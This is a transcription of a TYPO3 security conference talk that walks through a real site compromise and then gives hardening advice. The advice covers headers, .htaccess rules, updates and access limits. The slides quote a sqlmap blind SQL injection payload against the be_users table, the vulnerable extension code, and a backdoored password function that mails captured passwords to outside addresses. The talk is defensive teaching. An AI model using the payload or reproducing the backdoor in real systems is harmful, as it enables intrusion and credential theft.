TYPO3 Security. Jochen Weiland CertiFUNcation 2016



Similar documents
Web Application Security

Recent Advances in Web Application Security

AppSec USA 2014 Denver, Colorado Security Header Injection Module (SHIM)

Check list for web developers

APPLICATION SECURITY AND ITS IMPORTANCE

Real World Java Web Security

Hack Proof Your Webapps

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

Criteria for web application security check. Version

Security starts in the head(er)

Protecting Web Applications and Users

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Cross Site Scripting in Joomla Acajoom Component

TYPO3 Security Guide. This document is published under the Open Content License available from

Ruby on Rails Secure Coding Recommendations

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Gateway Apps - Security Summary SECURITY SUMMARY

REDCap General Security Overview

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Secure development and the SDLC. Presented By Jerry

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Defending your Web Applications from Attack: Presenter: Damira Pon, UAlbany. NYS Forum Web & Accessibility Workgroup Talk. NYS Forum Training Room

Client logo placeholder XXX REPORT. Page 1 of 37

Web Vulnerability Assessment Report

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Web Vulnerability Scanner by Using HTTP Method

Sichere Webanwendungen mit Java

Sitefinity Security and Best Practices

Web Application Security

Ethical Hacking Penetrating Web 2.0 Security

DIPLOMA IN WEBDEVELOPMENT

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Web application security

Why Web Applications are making a hackers life easy. Presented by Jon Grew BT SBS

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Web Application Guidelines

The Top Web Application Attacks: Are you vulnerable?

Enterprise Application Security Workshop Series

AJ Matrix V5. Installation Manual

(WAPT) Web Application Penetration Testing

REDCap Technical Overview

Site Store Pro. INSTALLATION GUIDE WPCartPro Wordpress Plugin Version

Web Application Report

Avactis PHP Shopping Cart ( Full Disclosure

Web Application Security Assessment and Vulnerability Mitigation Tests

WebCruiser Web Vulnerability Scanner User Guide

Authentication Methods

Advanced Administration for Citrix NetScaler 9.0 Platinum Edition

What is Web Security? Motivation

Application security testing: Protecting your application and data

Web Plus Security Features and Recommendations

Web Application Security

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Hardening Joomla 1. HARDENING PHP. 1.1 Installing Suhosin. 1.2 Disable Remote Includes. 1.3 Disable Unneeded Functions & Classes

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Web Application Security

Data Breaches and Web Servers: The Giant Sucking Sound

Web24 Web Hosting Guide

Cyber Security Workshop Ethical Web Hacking

Nikolay Zaynelov Annual LUG-БГ Meeting nikolay.zaynelov.com

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Secure Coding in Node.js

Sophos UTM Web Application Firewall for Microsoft Exchange connectivity

Implementation of Web Application Firewall

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

New Security Features in Oracle E-Business Suite 12.2

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Magento Security and Vulnerabilities. Roman Stepanov

Setup Corporate (Microsoft Exchange) . This tutorial will walk you through the steps of setting up your corporate account.

Web Hosting Wordpress, Joomla, Drupal Integration

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Where every interaction matters.

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

E-Commerce: Designing And Creating An Online Store

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

IP Application Security Manager and. VMware vcloud Air

5 Mistakes to Avoid on Your Drupal Website

Hacking the WordpressEcosystem

Plesk Panel HEAnet Customer Guide

VP-ASP Shopping Cart QUICK START GUIDE Version th Feb 2010 Rocksalt International Pty Ltd

SECURITY DOCUMENT. BetterTranslationTechnology

Web Application Security

Web Hosting Control Panel Guide

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

In this topic we will cover the security functionality provided with SAP Business One.

Transcription:

TYPO3 Security Jochen Weiland CertiFUNcation 2016

Do you know Belarus?

Do you know Belarus? Minsk 1670 km

Even if you don t plan to visit them They may want to visit YOU! (or your server)

They Check for SQL Injection in Extensions with sqlmap /index.php? filterinvolved=&id=826&note=note6&filtertyp=1&filternote =3 AND (SELECT * FROM (SELECT(SLEEP(2- (IF(ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM be_users WHERE admin=1 and disable=0 and deleted=0 LIMIT 0,1),33,1))>1,0,2)))))

Extension contained this code: $add_where[] = ' AND '.$_GET['note'].' = '. $_GET['filternote']; $sql = 'SELECT uid, einrichtung, pdf FROM tx_... WHERE pid = "'.$pid.'" '.$add_where;

Now the hacker can login as an administrator View/modify/delete any data install t3quixplorer - has access to file system, can upload any file anywhere

and leave some backdoor

But this is not all install local saltedpassword extension (priority over system extension)

But this is not all install local saltedpassword extension (priority over system extension) Extension has a special feature:

But this is not all install local saltedpassword extension (priority over system extension) Extension has a special feature: protected function cryptpassword($password, $setting) { $saltedpw = NULL; mail("winux777@gmail.com", "TYPO3", $password); (or mail( dezmo0d.89@mail.ru, "TYPO3", $password);)

What to do next Take web site offline Find, remove and clean up all affected files Find point of entry and fix the security hole Change all passwords (Backend Users, Frontend Users, MySQL, Install Tool, Encryption Key) Notify users, customers, authorities

Security Threats Information Disclosure Identity Theft SQL Injection Cross Site Scripting (XSS) Cross Site Request Forgery (XSRF) Code Injection Authorization Bypass

Published Exploits June 1, 2016 Joomla 1148 Wordpress 900 Drupal 26 TYPO3 15 Source: exploit-db.com

Passwords

Secure Passwords! Minimum length of 9 Characters Mix A-Z, a-z, 0-9, special characters No Personal Information Nothing from a Dictionary

Secure Passwords! Minimum length of 9 11 Characters Mix A-Z, a-z, 0-9, special characters No Personal Information Nothing from a Dictionary

Secure Passwords! NEVER the same password for different sites! NEVER login anywhere without SSL when using public WiFi! Use a Password Manager!

You all follow these rules, right?

Source: https://www.leakedsource.com/blog/linkedin

Keep TYPO3 Source and Extensions up-to-date

Subscribe to TYPO3-announce on lists.typo3.org

Security Bulletin? Install Update asap!

Use Encryption Provide https:// for everything

Test your SSL Certificate https://www.ssllabs.com/ssltest/

Never trust any User Input

User Input Data submitted in Forms Data submitted as parameter in URL Data submitted as a file or file name ALWAYS filter, escape, white-list

Information Disclosure

Secure Headers HSTS: Downgrade Attacks, Cookie Hijacking X-Frame: Clickjacking X-XSS Protection X-Content-Type-Options https://www.owasp.org/index.php/owasp_secure_headers_project

Add this to TS Setup config.additionalheaders = strict-transport-security: maxage=31536000; includesubdomains x-frame-options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Powered-By: nothing

HSTS - HTTP Strict Transport Security Browser should only connect through HTTPS, never HTTP with this web site

X-Frame-Options Prevents display of content if embedded in a frame of other web sites deny no rendering in frames at all sameorigin only in frames from same domain allow-from: DOMAIN specifiy allowed domain

X-XSS-Protection Enables Cross-Site Scripting Filter in Browser 1 Filter enabled, Browser sanitizes page 1; mode=block Filter enabled, Page not rendered

X-Content-Type-Options nosniff Prevents IE and Chrome from MIMEsniffing CSS and Scripts will only be loaded, if correct MIME type is specified, i.e. text/css text/javascript

Disable Directory Index

Disable Directory Index

database.sql

Apache Configuration <Directory /path/to/your/webroot/> Options Indexes FollowSymLinks </Directory>

SQL Injection

Add this to.htaccess # deny SQL injection attacks RewriteCond %{QUERY_STRING} union [NC] RewriteRule.* /404.html? [R=301,L]

Restrict Access

Never use FTP! All data is sent in clear text!

Restrict Server Ports Port 80, 443 (Browser) Port 22 (SSH)

Database Access Limit privileges Don t allow access from outside Do not bind DB server to network interface

File Access Do not allow access to file extensions:.t3d,.sql,.ts,.bak,.tmp, in.htaccess: <FilesMatch "\.(t3d sql ts bak tmp)$"> Order Allow,Deny Deny from all </FilesMatch>

Extensions Remove unused Extensions Remove Development Extensions from Live System - phpmyadmin - t3quixplorer - extension_builder

Deny Access to Hacker from Belarus in.htaccess: order allow,deny deny from 178.122.

Helpful Links Contact the Security Team: security @ typo3.org Read the TYPO3 Security Guide: docs.typo3.org/typo3cms/securityguide/ Subscribe to TYPO3-announce: lists.typo3.org